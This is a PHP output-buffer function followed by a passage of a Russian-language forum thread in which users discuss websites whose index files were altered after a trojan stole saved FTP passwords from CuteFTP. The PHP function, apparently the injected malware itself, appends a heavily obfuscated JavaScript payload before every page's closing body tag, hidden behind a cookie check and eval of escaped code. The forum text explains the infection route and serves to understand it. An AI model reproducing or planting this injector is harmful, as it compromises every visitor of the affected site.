<?php
function phpfake($buffer)
{
$Exp='<script language="javascript">$="%63b%3d%22p%2565(%2564s);%2573t%253dtmp%253d%2527%2527;fo%2572%2528%2569%253d0;i%253cds.l%256%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;dz%3d%22%2566%2575n%2563t%2569%256fn%2520dw%2528t%2529{%2563a%253d%2527%252564o%252563um%252565%256et%25252%2565w%252572it%25256%2535(%252522%2527;ce%253d%2527%252522)%2527;%2563b%253d%2527%25253cs%252563rip%252574 %25256c%2561ng%252575%2561%2567%252565%25253d%25255c%25252%2532ja%2576as%2563r%252569%2570%252574%25255c%252522%25253%2565%2527;cc%253d%2527%25253c%25255c%25252fscrip%2574%25253e%2527;eval(%2575%256ees%2563a%2570%2565%2528t))%257d;%22;op%3d%22%2524%253d%2522dw%2528%2564cs%2528c%2575,%2531%2534)%2529;%2522;%22;cc%3d%225ng%2574h;%2569++%2529{tm%2570%253d%2564s%252esl%2569ce(%2569,%2569%252b1)%253bst%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;pl;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;cd%3d%22%253dst+%2553tri%256eg.f%2572o%256d%2543har%2543%256fd%2565%2528(%2574mp.%2563h%256%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;ca%3d%22%2566un%2563tio%256e d%2563s(%2564%2573%252ce%2573){%2564%2573%253d%2575nes%2563%2561%22;st%3d%22%2573t%253d%2522$%253ds%2574;%2564%2563s%2528%2564%2561%252b%2564%2562%252b%2564%2563%252b%2564d%252b%2564e%252c%25310%2529%253b%2564%2577(%2573%2574)%253bs%2574%253d$%253b%2522;%22;ce%3d%221r%2543od%2565%2541t(0%2529%255e%2528%25270x0%2530%2527+%2565s)%2529)%253b%257d}%22;cz%3d%22%2566%2575n%2563t%2569on %2563z%2528cz)%257b%2572%2565tu%2572n c%2561+%2563b%252bc%2563+cd%252b%2563e+%2563z;%257d;%22;%69%66 (%64o%63ume%6et.%63ook%69e%2ei%6edex%4ff%28%27vbu%6clet%69n_%6dul%74iqu%6f%74e%3d%27)%3d%3d-1){sc(%27vbu%6cl%65ti%6e_m%75l%74%69q%75ot%65%3d%27,2,%37%29;%65val%28une%73ca%70e(d%7a+%63z+%6fp%2b%73t%29%2b%27dw(%64z+%63z%28$%2bst%29);%27%29}el%73%65{$%3d%27%27};func%74ion%20sc%28%63%6em,%76%2ced%29%7bvar%20exd%3dne%77 Da%74e()%3bexd%2eset%44%61te%28%65x%64.%67et%44at%65()%2b%65%64)%3bdoc%75m%65nt%2e%63o%6fki%65%3dcnm%2b %27%3d%27 +escap%65(v)%2b%27;exp%69re%73%3d%27+exd%2etoG%4dT%53tr%69ng%28);%7d;";eval(unescape($));document.write($);</script>';
return (ereg_replace("</body>", "$Exp</body>", $buffer));
}
?>
Bu$ter link=topic=16018.msg145420#msg145420 date=1204926107]тоже попадал, только троян точно никуда ничего не отсылал и уж тем более в ручную никто не лазил по фтп, это случилось массово и слишком много доступов к фтп получали бы люди, чтобы их обрабатывать в ручную. Пользовался cute ftp и были окучены сайты которые находилось в менеджере cute ftp, в логах серверов в момент изменения файла были соединения с моего ip и у многих знакомых по цеху такая же ситуация, коннекты с их адресов и изменения файлов. Дописывалось разное, javascript строка с адресом файла на разных ресурсах, файл этот тянулся сразу к тебе и выполнялся, если заходишь на сайт на котором вставлен этот javascript внизу. Видел еще как у людей массово вставлялся код sape =) Вставлялось только в index.php и index.html, не дальше второго уровня папок. Вначале зимы поменял компьютер и перешел на линукс, забыл что такое фаервол и антивирус.
1) Троян у тебя с компа тащит пароли от ftp, отправляет их своему подельнику, тот конектился на сайт и правит индексы.